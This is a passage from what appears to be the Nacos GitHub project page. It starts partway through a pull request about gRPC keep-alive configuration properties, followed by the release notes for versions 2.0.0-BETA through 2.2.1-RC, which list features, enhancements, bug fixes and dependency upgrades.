    nacos.remote.server.grpc.cluster.max-connection-idle=30000
    nacos.remote.server.grpc.sdk.permit-keep-alive-time=600000
    

    deprecated property:

    nacos.remote.server.grpc.maxinbound.message.size
    

    client side: new properties and default values:

    nacos.remote.client.grpc.channel.keep.alive.timeout=1080000
    

    Verifying this change

    Follow this checklist to help us incorporate your contribution quickly and easily:

    • [ ] Make sure there is a Github issue filed for the change (usually before you start working on it). Trivial changes like typos do not require a Github issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.
    • [ ] Format the pull request title like [ISSUE #123] Fix UnknownException when host config not exist. Each commit in the pull request should have a meaningful subject line and body.
    • [ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
    • [ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add integration-test in test module.
    • [ ] Run mvn -B clean package apache-rat:check findbugs:findbugs -Dmaven.test.skip=true to make sure basic checks pass. Run mvn clean install -DskipITs to make sure unit-test pass. Run mvn clean test-compile failsafe:integration-test to make sure integration-test pass.
    opened by YunWZ 1
Releases(2.2.1-RC)
  • 2.2.1-RC(Dec 22, 2022)

    Only release for nacos-client to support GraalVM and support native runtime by #9738.

    Refer to https://github.com/alibaba/nacos/issues/6869 and https://github.com/alibaba/nacos/issues/9085.

    Source code(tar.gz)
    Source code(zip)
  • 2.2.0(Dec 14, 2022)

    This version is an important version which include some large changes.

    The first important change is remove the old redundant codes about 1.x naming and double write relative codes. After changed, The 2.2.0 version will can't upgraded from Nacos 1.X server, only can upgraded from at least version 2.0.0. The changes will not effect the adapt for 1.X client request, users can still use 1.X client with 2.2.0 version.

    The second important change is adding several plugins:

    • datasource plugin, which added by Asoc 2022 project to support other DBs.
    • custom environment plugin, which added by community to handle configurations of Nacos server, such as decrypt database password.
    • connection limit plugin, which refactored from old limit module, to extend more abilities to protect Nacos server under high pressure.

    The third important change is to enhance the beta feature Tracing plugin and batch register, which make them more easy to use.

    Detail see:

    feature

    [#5863][#9331] Support batch register and batch deregister service. [#8308] Add v2 openAPI for nacos 2.0. [#8312] Support datasource plugins. [#8481] Support track tracing plugins. [#8694] Support prometheus http service discovery(prometheus http sd). [#9318] Support caseSentive for Ldap auth plugin. [#9366] Support Ldaps authentication.

    Enhancement&Refactor

    [#7930] Reomve old redundant codes about 1.x naming. [#9391] Optimization Chooser. [#9393] Make server stop auto when starting error. [#9414] Optimize fuzzy queries to make SQL more general. [#9415][#9449][#9466][#9497] Enhancement datasource plugins. [#9423] ExternalDataSourceProperties add isEmpty check to support external config. [#9459] Modify the method modifier of NacosApplicationListener to default. [#9471] Keep console query condition in configuration After return list config pages. [#9597] Keep console query condition in discovery After return list service pages. [#9615] Enhance client choose server node to request server more dispersed. [#9653] Refactor connection limit module to plugin.

    BugFix

    [#9334] Fix group_id data length different in many tables. [#9341] Fix can not create bean ldapAuthenticationProvider. [#9351] Fix instance count error in prometheus metrics. [#9367] Fix auth plugin's property 'token.secret.key' base64 decode error. [#9408][#9437] Fix console namespace list deploy problems. [#9461] Fix ClientWorker NullPointer judgement order. [#9474] Fix some instance is unhealthy after change to http health check. [#9478] Fix the chooser bug when all instances have a zero weight. [#9584] Fix console configuration query button overflow hidden problem. [#9586] Fix problem of deregister instance failure after service expired metadata auto clean.

    Dependency

    [#9652] Upgrade ui dependencies to fix some depend vulnerability.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.2.0.tar.gz(99.24 MB)
    nacos-server-2.2.0.zip(99.25 MB)
  • 2.2.0-BETA(Oct 28, 2022)

    This version is an important version which include some large changes.

    The first important change is remove the old redundant codes about 1.x naming and double write relative codes. After changed, The 2.2.0 version will can't upgraded from Nacos 1.X server, only can upgraded from at least version 2.0.0. The changes will not effect the adapt for 1.X client request, users can still use 1.X client with 2.2.0 version.

    The second important change is merging some of Asoc2022 and Summer2022 topic results, such as v2.0 openAPI and datasource plugins. Other topics will publish in future versions.

    The third important change is to enhance the beta feature Tracing plugin and batch register, which make them more easy to use.

    Due to many important changes in this version, so community plan to do a pre-release BETA version. According the beta result, The next version plan to Beta2 or GA release.

    Detail see:

    feature

    [#5863][#9331] Support batch register and batch deregister service. [#8308] Add v2 openAPI for nacos 2.0. [#8312] Support datasource plugins. [#8481] Support track tracing plugins. [#9366] Support Ldaps authentication.

    Enhancement

    [#7930] Remove old redundant codes about 1.x naming.

    BugFix

    [#9334] Fix group_id data length different in many tables. [#9341] Fix can not create bean ldapAuthenticationProvider. [#9351] Fix instance count error in prometheus metrics.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.2.0-BETA.tar.gz(99.12 MB)
    nacos-server-2.2.0-BETA.zip(99.12 MB)
  • 2.1.2(Oct 17, 2022)

    This version mainly enhance the console UI, release pure nacos client without shaded and fix lots of bugs.

    The next version plan to release 2.2.0, which include many of new plugins.

    Detail see:

    Enhancement

    [#6112] Unified derby-data variables. [#7929] Reduce nacos-client jar size by minijar. [#8941] Support Fuzzy Query in Authority Control--for api change. [#8956] Internationalize product description content in nacos console. [#8976] Create new namespace with duplicate namespace show name. [#9091] build pure nacos-client when release. [#9210] Naming Distro sync support revision.

    Refactor&dependency

    [#8611] Close old datasource connection. [#8650] Make cluster/report both receive and send metadata. [#9013] refactor rpcClient and grpcClient to support set configuration. [#9014] refactor TpsMonitorPoint. [#9177] Upgrade org.yaml.snakeyaml version from 1.30 to 1.32 [#9325] Add switch for naming async query.

    BugFix

    [#8882] Fix nacos-client 2.1.0 start error when using endpoint configuration. [#8910] Fix calculate instance count error when using batch register. [#8925] Fix the value of hasQueryString is always false. [#8928] Fix the replaceAll operation is invalid for server list. [#8931] Fix BatchInstanceData can't serialize problem. [#8934] Fix header lost when request retrying. [#8947] Fix the authentication/encryption plugin are not loaded on the nacos server. [#9023] Fix corner case config dataId 'cipher-' can't be create. [#9047] Fix ServerListMgr is not shutdown in nacos-client. [#9060] Fix print logs for NamingTraceEvent continuously. [#9062] Fix unsubscribe service failed problem. [#9101] Fix the ConnectionTimeout property in the datasource connection is overwritten problem. [#9227] Fix instance change event subscribe failed in 2.1.1 when no setting scope. [#9230] Fix error event order for snapshot loading. [#9269] Fix RpcClient parse ipv6 address error problem. [#9271][#6876] Fix 'JraftServer' NPE after server exceptionally shutdown. [#9277] Fix ClientServiceIndex not clean when service removed. [#9305] Fix build resource with error dataId. [#9311] Fix cache not removed when listener adding delay. [#9323] Fix service checking problem in 1.x http openAPI.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.1.2.tar.gz(99.31 MB)
    nacos-server-2.1.2.zip(99.32 MB)
  • 2.1.1(Aug 8, 2022)

    This version mainly fix lots of bugs in 2.1.0 version and upgrade many dependencies to fix some big problem.

    At the same time, community do some of enhancement for performance such as default auth plugin, Grpc request and distro protocol.

    Finally, This version add two beta feature -- batchRegister and trace event. The first beta feature is used by proxy register situation like nacos-sync. The second beta feature is used to get the information of config or service changes. It will be a new plugin for community.

    Detail see:

    Features

    [#5863] (BETA) Support batch register service. [#7424] Add version data compare in the history list. [#8305] (REMOVE) Remove leave nacos server nodes API temporarily. [#8481] (BETA) Add TRACE Event to server. [#8755] Add default fuzzy search feature.

    Enhancement

    [#8099] Fast failure for distro sync task and verify task if cluster disconnect. [#8150] Add the namespace description item to the namespace list page. [#8345] Add validation for service cluster name. [#8515] Optimize some code in InetUtils. [#8561] Enhance default authentication plugin performance. [#8574] Enhance filter service info for push callback. [#8592] Ehhance GrpcUtil memory and cpu cost. [#8622] Add NacosEnvironment and add some unit tests.

    Refactor&dependency

    [#8369] Remove mina dependency. [#8383] Upgrade jackson version to 2.12.6.1. [#8421] Remove commonOkHttp dependency. [#8472] Remove useless dependency. [#8479] Refactor singleton construction as private. [#8540] Upgrade spring-boot version to 2.6.8. [#8594] Makes distro data load timeout can be configured. [#8596] Explicitly specify spring-boot-maven-plugin version same as spring-boot. [#8623] Upgrade mysql-connector-java to 8.0.28.

    BugFix

    [#7039] Fix config encryptedData md5 calculation problem. [#8153] Fix NPE for AutoExpireCache. [#8243][#8653] Fix health check plugin problem. [#8275] Fix can't register service when use skywalking. [#8295] Fix can't login when use embedded storage in cluster model. [#8318] Fix findAllConfigInfoForDumpAll sql args error. [#8372] Fix client can't use https connection. [#8424] Fix cycle dependency problem. [#8428] Fix naming subscribe bug when multiple NamingService. [#8505] Fix log configuration conflict in spring-boot project. [#8514][#8539] Fix prometheus api error in client. [#8516] Fix the persistent instance becomes a temporary instance. [#8602] Fix display error after delete current namespace. [#8632] Fix subscribe disabled instance problem in the first time. [#8635] Fix NPE when call the shutdown method. [#8720] Fix the problem that config aspect invalid problem. [#8742] Fix change instance metadata, the revision of service not change. [#8784] Fix some bugs for Console UI. [#8833] Fix import config failed when open auth. [#8880] Fix constantly loading config when not read permission.

    Test

    [#4982][#8344] Fix naming module unit test and generate jacoco coverage report.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.1.1.tar.gz(105.63 MB)
    nacos-server-2.1.1.zip(105.63 MB)
  • 1.4.4(Aug 8, 2022)

    This version mainly upgrade the spring boot version to 2.6.6 to fix some spring's security problem, and apply many enhancements from 2.X.

    Details see following:

    Enhancement

    [#5344] Reset raft cluster ops for no leader by JRaft Api. [#5884][#7810] Add the permission for history config. [#7284] Enhance print exception details. [#7799] Enhance console exception handler. [#7802] Enhance thread pool manager. [#7801] Enhance connection release timeout between server. [#7803] Apply some Jraft Enhancement from 2.X. [#7925] Client stops the UpdateTask after a service is unsubscribed. [#8072] Reduce memory cost in DistroProtocol initialization to avoid OutOfMemoryError. [#8144] Add volatile modifier to NamingProxy.serversFromEndpoint. [#8203] Fix the concurrency problem about the iterator of ServerListManager. [#8434] Enhance DistroConsistencyServiceImpl listen/unListen.

    BugFix

    [#6198][#7809] Fix StringUtils.join throw NullPointerException. [#6273] Fix loop leave server. [#7141][#7804] Fix the problem of the operator column being empty while configuring adding and deleting records. [#7750][#7869] Fix bug in permissions management module, such as redundant 'nacos,' when change password. [#7757][#7761] Fix jraft request parse failed problem. [#7807] Fix yaml parse concurrent problem. [#7836] Fix nacos-client can't parse localhost problem. [#8012] Fix NPE in DistroConsistencyServiceImpl.Notifier. [#8283] Fix thread safety problem when concurrently registering with the same cluster. [#8428] Fix naming subscribe bug when multiple NamingService . [#8539] Fix prometheus api error.

    Dependency

    [#7813] Upgrade log4j2 to 2.17.1. [#7813] Upgrade logback to 1.2.9. [#7813] Upgrade Jraft to 1.3.9. [#8421] Remove commonOkHttp dependency. [#8169] Upgrade spring-boot version to 2.6.6.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.4.tar.gz(96.37 MB)
    nacos-server-1.4.4.zip(96.37 MB)
  • 2.1.0(Apr 29, 2022)

    This version mainly adds authentication plugin and configuration encryption plugin ability. And shutdown the ability to support upgraded from version 1.X by default.

    For Client, this version refactor the classes scan logic and remove the org.reflections dependency to solve the incompatibility issues when org.reflections conflicts.

    Finally, this version does some enhancement and fixes some bugs found in 2.0.4.

    The detail change log following:

    Features

    [#5695] Add a plugin SPI for configuration encryption and decryption for Nacos 2.0 [#5696] Add a plugin SPI for authentication for Nacos 2.0. [#7930] Default close support upgrade from 1.X feature. [#7992] Support cluster grpc client to set thread pool size. [#8220] Add reset raft cluster operation.

    Enhancement & Refactor

    [#7487] Add generics for the CacheBuilder. [#7879] Refactor destroy method of AbstractMemberLookup. [#7924][#8214] Add ldap auth plugin. [#7952] Ignore read request for raft follower's state machine to enhance raft stability. [#7966] Add more information in Auth/Distro/Curcuit-Filter when cause some server error. [#7971] Stop version judge Task and release thread after upgrade completely. [#8072] Enhance memory cost in DistroProtocol initialization. [#8107] Enhance console change password operation. [#8156] Support js and css of console auto-upgrade.

    BugFix

    [#1717][#7359] Fix XSS vulnerabilities. [#6273] Fix loop request for offline server nodes API. [#6999] Fix Nacos client does not support logback overload log configuration. [#7757] Fix jraft read request deserialize to write request problem. [#7780] Fix config a-b-a problem. [#7941] Fix version comparison error in Config Detail page. [#8087] Fix text out of box in configuration manager. [#8108] Fix throw NPR for health check for v2. [#8050] Fix configuration about Distro changes could not take effect. [#8161] Fix console can't use relative path problem. [#8163] Fix multi-instance share the same local snapshot. [#8196] Fix subscriber api without count when the query number is more than subscriber count.

    Dependency

    [#7758] Update module nacos-consistency protobuf-maven-plugin version to 0.6.1. [#7886] Enhance package scan logic and remove org.reflections dependency.

    Tests

    [#4981] Add much unit test. [#8009] Fix NPE of unit test.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.1.0.tar.gz(112.01 MB)
    nacos-server-2.1.0.zip(112.01 MB)
  • 2.1.0-BETA(Apr 1, 2022)

    This version mainly adds authentication plugin and configuration encryption plugin ability. And shutdown the ability to support upgraded from version 1.X by default.

    For Client, this version refactor the classes scan logic and remove the org.reflections dependency to solve the incompatibility issues when org.reflections conflicts.

    Finally, this version does some enhancement and fixes some bugs found in 2.0.4.

    The detail change log following:

    Features

    [#5695] Add a plugin SPI for configuration encryption and decryption for Nacos 2.0 [#5696] Add a plugin SPI for authentication for Nacos 2.0. [#7930] Default close support upgrade from 1.X feature. [#7992] Support cluster grpc client to set thread pool size.

    Enhancement & Refactor

    [#7879] Refactor destroy method of AbstractMemberLookup. [#7952] Ignore read request for raft follower's state machine to enhance raft stability. [#7966] Add more information in Auth/Distro/Curcuit-Filter when cause some server error. [#7971] Stop version judge Task and release thread after upgrade completely.

    BugFix

    [#1717][#7359] Fix XSS vulnerabilities. [#7757] Fix jraft read request deserialize to write request problem. [#7941] Fix version comparison error in Config Detail page.

    Dependency

    [#7758] Update module nacos-consistency protobuf-maven-plugin version to 0.6.1. [#7886] Enhance package scan logic and remove org.reflections dependency.

    Tests

    [#4981] Add much unit test. [#8009] Fix NPE of unit test.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.1.0-BETA.tar.gz(111.67 MB)
    nacos-server-2.1.0-BETA.zip(111.67 MB)
  • 1.4.3(Jan 27, 2022)

    This version mainly optimizes the stability of config module, put forward the interactive experience of console. What's more, this version also made a large improvement in terms of UT coverage rate, and fix many bugs of 1.4.x. Details see following:

    Features

    [#6016] Support fetching server list from endpoint with namespace. [#5672] relayout configurations page.

    Enhancement

    [7188] Add encryptedDataKey with LocalEncryptedDataKeyProcessor.getEncryptDataKeySnapshot into LocalConfigInfoProcessor.getSnapshot. [#6663] Optimize GetServerListTask load priority. [#1773] Let the importted config over the original config. [#5635] Fix the problem of no Gap With CreateUser button & refresh.

    Refactor & Code Quality

    [#7480] Upgrade log4j to 2.17.0 for v1.x-develop. [#7420] Upgrade log4j from 2.15.0 to 2.16.0. [#5547] Optimize ConfigRequest and ConfigResponse code, extract common constants. [#5621] Remove duplicated dependency. [#5528] Optimize ParamUtil code and extract constants. [#5587] Change the invalid compare in NotifySingleService.

    BugFix

    [#1733] Fix the problem of still getting the instance after register twice and deregister. [#7191] Fix EncryptedData Long-Polling listerning bug in client(LongPollingRunnable). [#3969] Fix the problem of searching for special character matching errors by group name. [#5814] Fix the query param lost when use enter press to search in Nacos 1.x. [#5747] When using the multi-registry feature of Dubbo with setting namingLoadCacheAtStart=true, the cache of NacosNamingService will overwrite each other. [#5683] Fixes logical judgment expression. [#5664] Fix the locales of field Action Type don't take effect in config history detail page. [#3548] Fix the problem of the srcUser filling with username when auth is disabled.

    Other

    [#7342] Optimizing client beat log output, removing unnecessary error logs.

    Test

    [#5538] Fix some failed test cases. [#5577] [#5600] [#5601] [#5484] [#5599] [#5595] [#5596] [#5579] [#5583] [#5539] [#5545] Adding Unit Tests for some classes in nacos-core and nacos-naming.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.3.tar.gz(74.37 MB)
    nacos-server-1.4.3.zip(74.38 MB)
  • 2.0.4(Jan 18, 2022)

    This version mainly adds config encrypting features, enhances the stability of grpc client and console, and fixes bugs in 2.0.x. What's more, Nacos community do lots of refactors and unit test. Detail see:

    Features

    [#5695] Make Import/export function compatible with configuration encryption and decryption. [#5695] Add a plugin SPI for configuration encryption and decryption for Nacos 2.0, where EncryptedDataKey is persisted. [#6430] Integrate the feature selector workflow into Nacos 2.0.x. [#7262] Add ephmeral attribute in v2 service query api.

    Enhancement

    [#6999] Make nacos' logback and application's logback module decoupled. [#7149] Add port offset configuration for the client when using reverse proxy of nacos expose different ports. [#6572] add an OpenAPI to obtain the counting of Nacos2.x clients. [#6296] Optimize the new config page (skip to config list page when create the config successfully).

    Refactor

    [#7500] update logback version 1.2.9. [#7468] upgrade log4j to 2.17.0. [#6733] Upgrade jraft version to 1.3.8 . [#6628] Remove redundant functional interfaces

    BugFix

    [#6296] Fix a bug on console (while Deleting and then adding a config, Nacos Web displays existed config). [#7502] Make serviceListRequestHandler return the correct count of serviceNames. [#7591] Remove meaningless judgment conditions. [#7550] Fix the problem of "subscribe service failed" when local filesystem has cache file [#7411][#7415] fix NPE when the RpcClient shutdown, and when Dubbo shutdown. [#7248] Fix update task can't stop after unsubscribe. [#7141] Fix the problem of the operator column being empty while configuring adding and deleting records. [#7225] To ignore the WebServerInitializedEvent if the name space of the spring context is management. [#7001] To keep the count value in Nacos 2.x same with value Nacos 1.x, add a "throw the NacosException" logic. [6535] Inconsistent results returned by different versions of the open-api/nacos/v1/ns/service. [#6581] fix some bugs in ServiceController subscribers interface.

    Test

    [#5092] Add unit tests for module nacos-config in nacos 2.0. [#5695] Add unit test for encrypting classes in nacos.client.config.*. [#6894] add the unit test of com.alibaba.nacos.naming.remote.*.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.4.tar.gz(112.03 MB)
    nacos-server-2.0.4.zip(112.04 MB)
  • 2.0.3(Jul 28, 2021)

    In this version, Nacos community continue to do a lot of optimizations for the features of the upgrade from 1.X to 2.0.X, to improve the upgrade stability. And add an SPI to help server judge whether server is ready to upgrade.

    At the same time, community add an redo feature for nacos client to make sure the instances and subscribers can be registered after failed to call from users.

    What's more, Nacos community do lots of refactors and unit test.

    Detail see:

    Features

    [#6384] Add redo feature for nacos client naming.

    Enhancement

    [#1469] Add cluster delete button. [#5884] Add the permission for history config. [#5909] Enhance LADP auth log print out when auth check failed. [#5999] Adpat nacos endpoint in AddressServerMemberLookup. [#6100] Enhance config managerment UI. [#6129] Add ServerConfigChangeEvent when config file changed. [#6142] Redo register and subscribe when reconnection auth check failed. [#6160] Optimization of IP address acquisition method in nacos client. [#6175] If the client already disconnect, ignore this request to avoid NPE. [#6178] Unified configuration page style [#6204] Get data from database if user or role info not found in cache. [#6367] Add IOReactorExceptionHandler to avoid IOReactor out of loop when meet unknown Network error. [#6386] Stop v1 distro verification when cluster upgraded to v2. [#6403] Make the expired time of naming client be configurable in nacos-server.

    Refactor

    [#3102] Remove dependency of common-lang3. [#5771][#5919][#6050] Improve code quality. [#5845] Remove redundant code in InitUtils#initNamespaceForNaming. [#6197] Remove unnecessary class. [#6216] All SQL keywords are modified to uppercase. [#6217] Add Add SPI for upgrade checker. [#6272] Refactor Instance builder to build and handler request from http. [#6446] Remove dependency of guava.

    BugFix

    [#6107] Fix Chinese account show with gibber in home page. [#6109] Fix get InstanceUpgradeHelper instance error for double write service. [#6116] Fix unable to check client beats when register same ip and port in old clients with high concurrent. [#6169] Fix cluster page internationalization. [#6198] Fix NPE when use StringUtils.join illegal. [#6295] Fix instance metadata will not be removed for ip port client. [#6335] Fix startup error when the JAVA_HOME path contains spaces under Linux/Unix/Mac system. [#6382][#6476] Fix nacos-istio serviceInfo.getChecksum() always is empty. [#6423] Fix yaml parse concurrent problem.

    Test

    [#4982][#5094][#5095][#5011][#5806][#6188] Add Unit test. [#5985][#5990] Fix unit test problem.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.3.tar.gz(112.14 MB)
    nacos-server-2.0.3.zip(112.15 MB)
  • 2.0.2(Jun 11, 2021)

    In this version, Nacos community have done a lot of optimizations for the features of the upgrade from 1.X to 2.0.X, such as fixed problems that may be encountered during the upgrade, and added some APIs to query and repair the data during the upgrade.

    At the same time, Nacos community also strengthened features, such as configuring CAS release, adding Distro synchronization statistics, and optimizing log error information.

    What's more, Nacos community do lots of refactors and unit test.

    Detail see:

    Features

    [#2843] Adding CAS publish config in client. [#5686] Add Distro monitor info in naming-performance log. [#5719] Add some API to query and fix upgrade data. [#5756] Support to specify ephemeral value for createService. [#5952] Feature make naming rpc client aware of server list change. [#6019] Support fetching server list from endpoint with namespace.

    Enhancement

    [#4208] Support config multiple server list by ',' and ';'. [#5747] Support of specifying NAMING_CACHE_REGISTRY_DIR property. [#5775] Persist the cluster upgrade state. [#5713] Enhance the query config behavior in console. [#5949] Enhance gRPC error hint logs. [#6015] Add/Remove client instance cache before call server.

    Refactor

    [#3046] Enhancement for constant variables. [#5689] Refactor nacos example. [#5717][#5727][#5771][#5774][#5762][#5802][#5836][#5843][#5877][#5904][#5915][#6010] Enhance code quality. [#5888] Refactor resourceParser groupName change the splicing method.

    BugFix

    [#5574] Remove downgraded member version info. [#5559] Fix can't resolve symbol 'istio' when I switch branch of source code to 2.0.0. [#5671] Fix dismiss service groupName after upgrade to 2.0.X. [#5692] Fix Deleted service will still exist after upgrade to 2.0.X. [#5765] Fix localhost can't be used in nacos-server. [#5782] Fix persistent instances of v2 model cannot be removed by DoubleWrite removal tasks. [#5798] Fix upgraded server cannot downgrade and upgrade again. [#5831] Fix naming client may register the old one instance when reconnecting to server. [#5835] Fix create user error. [#5870] Fix doubleWrite may register persistence instance as ephemeral. [#5872] Fix server may downgrade to 1.X model when one of node restart. [#5918] Fix notifyCenter may cause naming data inconsistent. [#5927] Fix tcp check will invalid after restart 2.0 model server. [#5934] Fix can't overwrite the original configuration file when importing configuration file. [#5937] Fix auth problem for client when use ak sk. [#5971] Fix Naming API can't adapt after upgrading to v2.x.

    Test

    [#5805][#5123][#5153][#5521][#5522][#5663]Add unit test for nacos 2.0.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.2.tar.gz(112.48 MB)
    nacos-server-2.0.2.zip(112.48 MB)
  • 2.0.1(Apr 29, 2021)

    Nacos2.0.1 Release Note

    This version mainly fixes the stability for leader selection of Jraft in k8s environment and fixes the problem of throwing Server is Down error frequently. What's more, 2.0.1 support the MCP over XDS protocol in nacos-istio plugin and module.

    Details see following:

    Features

    -[#3484] Support ldap login. -[#4856] Support mcp over xds. -[#5137] Support service list add view subscriber. -[#5367] Support client encryption plugin for nacos 2.0.

    Enhancement

    -[#5307] Push support config some parameters -[#5334] Fix Server is Down problem in k8s environment. -[#5361] Check isUseGrpcFeatures() when register instance using GRPC protocol

    Refactor & Code Quality

    -[#5486] Refactor Distro Config as singleton and replace GlobalConfig.

    BugFix

    -[#5169] Fix instance beat run only by responsible server. -[#5175] Fix publishConfig lost type. -[#5178] Fix NPE when init server list failed. -[#5182] Fix throw NoSuchFieldException in ConfigController when service connect to nacos. -[#5204] Fix query error when pageNo is larger than service number. -[#5268] Fix subscriber app unknown -[#5327] Fix ThreadPool usage problem and add some monitor for distro. -[#5384] Fix the problem of unable to shutdown NacosConfigService. -[#5404] Fix frequently udp push for client 1.X. -[#5419] Fix Nacos 2.0 client auth may invalid for non public namespace. -[#5442] change state to UP when received status form old version server.

    Other

    -[#5096] Add unit tests in nacos 2.0. -[#5171][#5421][#5436][#5450][#5464] Fix It for nacos 2.0.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.1.tar.gz(112.44 MB)
    nacos-server-2.0.1.zip(112.45 MB)
  • 1.4.2(Apr 29, 2021)

    This version mainly optimizes the stability of JRaft's leader selection, and cooperating with the latest nacos-k8s project, which can have a large degree of stability optimization. What's more, this version also enhance some hint about Server is Down problem, and fix many bugs of 1.4.1.

    Details see following:

    Features

    -[#4452] Add config compare features. -[#4602] Add new way for export config. -[#4996] Make log level changeable for nacos-core module. -[#5367] Add pre-plugin in client for encrypting config.

    Enhancement

    -[#3922] Method createServiceIfAbsent in ServiceManager require sync. -[#4274] skip master-select task when db.num is 1. -[#4753] Use SafeConstructor to parse yaml configuration. -[#4762] Naming health check thread num support user define it by self. -[#4770] Beta publish: change the way of select betaIps, from input to select. -[#4778] Make SecurityProxy.accessToken threadsafe in single writer multi reader. -[#4903] Add securuty hint for login page. -[#4917] Raft ops interface add auth. -[#4980] Log4J2NacosLogging.loadConfiguration() return directly When location is blank. -[#5010] Fix the usage of TemplateUtils. -[#5190] Add some hint log when login failed. -[#5234] Solve the problem that page can be edited while publishing-config request is processing. -[#5331] Fix the mouse hovers over the margin in a pointer state and cannot be clicked. -[#5350] Add hint and detail reason for consistence status Down. -[#5439] Support specified naming UDP push port for client. -[#5434] Optimize the ConfigType.isValidType method.

    Refactor & Code Quality

    -[#3779] Check groupName can't be empty. -[#4661] ConfigServletInner#doGetConfig code optimization.

    BugFix

    -[#3610] Fix the press F1 to full screen issue in new config page. -[#3876] Fix push empty service name. -[#4306] Fix search service by group error problem. -[#4573,#4629] Jraft leader status check error. -[#4672] Fix cloning configuration lost description. -[#4699] Fix metadata batch operation may delete instance problem. -[#4756] Fix config list sort and search problem. -[#4787] Losting member if parsing host throw UnknownHostException. -[#4806] Fix addListener method comment. -[#4829] Remove instance when distro and raft remove instances data. -[#4852] Fix main.js is too large problem. -[#4854] Modify Header to support Keys Ignore Case. -[#4898] Fix instance list page bug. -[#4925] Fix member list change will cover member status and metadata problem. -[#5078] Fix the problem of inconsistent results for querying subscriber list data multiple times. -[#5026] Fix MetricsHttpAgent metrics twice. -[#5018] Check group and dataId in groupKey. -[#5114] ConcurrentHashSet.java is not compatible with jdk1.6 or 1.7. -[#5253] Fix missing auth identity header error. -[#5291] Fix Beat task will stop when throw unexpected exception. -[#5301] Respond all kinds of collections for istio's request. -[#5351] Fix Consistence status can't switch to UP after Jraft election. -[#5390] Fix ip verify error. -[#5427] Fix NPE if Jraft leader is null in CurcuitFilter. -[#5437] Fix config beta feature will lost dump event problem. -[#5451] Fix the tag can't be removed problem.

    Other

    -[#4822][#4823][#4824][#4825][#4979][#5506] Fix dependency security problem. -[#5277] Subscriber list servername add required. -[#5380][#5418] Add and enhance unit test.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-1.4.2.tar.gz(74.37 MB)
    nacos-server-1.4.2.zip(74.37 MB)
  • 2.0.0-bugfix(Mar 30, 2021)

    This release mainly fix an Threadpool usage issue, which will cause nacos service discovery can't work as expected and refuse request under low performance machine environment.

    What's more, this release also fix some simple bugs.

    Detail see:

    [#5233][#5237] Fix ThreadPool usage problem.

    [#5169] Instance may deleted by un-responsible server when distro sync task failed. [#5204] Fix query error when pageNo is larger than service number.

    Source code(tar.gz)
    Source code(zip)
    nacos-server-2.0.0.tar.gz(87.71 MB)
    nacos-server-2.0.0.zip(87.71 MB)
  • 2.0.0(Mar 19, 2021)

    This version add Grpc as the translating to replace HTTP between client and server.

    Detail see:

    Features

    Add gRPC connection core feature to Nacos.

    • [#3328][#3739][#3749][#3776]

    Config module support gRPC.

    • [#3334][#3344][#3357][#3808]

    Naming module support gRPC.

    • [#3343][#3352][#3373][#3407][#3425][#3788][#3795][#3809][#3825][#3849][#3860][#4345][#4363][#4369][#4603][#4608][#4636]

    Nacos Client Support gRPC.

    • [#3350][#3401][#3405]

    Nacos gRPC Client support reconnection.

    • [#3365][#3367][#3385][#3420]

    Support push data by gRPC.

    • [#3478][#3521]

    Connection event notification for gRPC.

    • [#3611]

    Load balance for Connection.

    • [#3630][#3751][#3752][#4217]

    Support Auth for gRPC request.

    • [#3693][#3821][#3970][#4675]

    Support metadata operation for Naming module by Jraft.

    • [#4204][#4260][#4279][#4354][#4367][#4733]

    Support basic connection limit.

    • [#4651][#4752]

    Support healthy check.

    • [#4728][#4750]

    Support upgrading and downgrading.

    • [#4810][#4845]

    Enhancement

    Async execute some time-consuming operation.

    • [#4099][#4533][#4595][#4656]

    Multiple language SDK.

    • [#4464]

    Metric

    • [#4649]

    Full support for registering custom instances.

    • [#4828]

    Support single push when subscriber first subscribe service.

    • [#4998]

    Support healthy protection by threshold.

    • [#5054]

    Refactor

    Naming Client refactor network proxy.

    • [#3386]

    Refactor and adapt v1 openAPI.

    • [#3864][#3881][#4112][#4151][#4154][#4376][#4438][#4441][#4461][#4492][#4578][#4832]

    BugFix

    [#4489] Fix can't query non-default-group problem for catalog API. [#4681] Fix config miss line break problem. [#4788] Fix client id judgement error for ipv6. [#4855] Fix high cpu problem. [#4875] Fix config file read problem. [#4882] Fix listen config without auth problem. [#4883] Fix naming client NPE for Spas auth header. [#4987] Fix NPE when build ClientInfo with empty user-agent. [#4989] Fix NPE for service metadata is null during upgrade to v2. [#5001] Fix returns empty list when service has no subscribers. [#5028] Fix UpdateTask some logic errors. [#5067] Fix console detail error instances list when healthy protection by threshold. [#5080] Fix health checker pre-start logic. [#5109] Fix TcpHealthCheckProcessor.TimeOutTask may block the next check task.

    Dependency

    [#4383] Upgrade Nacos Api/Client modules to support JDK 1.8 compilation.

    Test

    Add unit test for nacos 2.0

    • [#5032][#5036][#5037][#5103][#5034][#5107][#5117]
    Source code(tar.gz)
    Source code(zip)
  • 2.0.0-BETA(Feb 5, 2021)

    This version is an alpha version for 2.0.0. In this alpha2 version, it mainly fixes some bug found in 2.0.0-ALPHA.1, and implement some persistent service feature. For performance, doing some performance enhancement and report a performance to compile with Nacos1.x version.

    Detail see:

    Features

    Add gRPC connection core feature to Nacos.

    • [#3328][#3739][#3749][#3776]

    Config module support gRPC.

    • [#3334][#3344][#3357][#3808]

    Naming module support gRPC.

    • [#3343][#3352][#3373][#3407][#3425][#3788][#3795][#3809][#3825][#3849][#3860][#4345][#4363][#4369][#4603][#4608][#4636]

    Nacos Client Support gRPC.

    • [#3350][#3401][#3405]

    Nacos gRPC Client support reconnection.

    • [#3365][#3367][#3385][#3420]

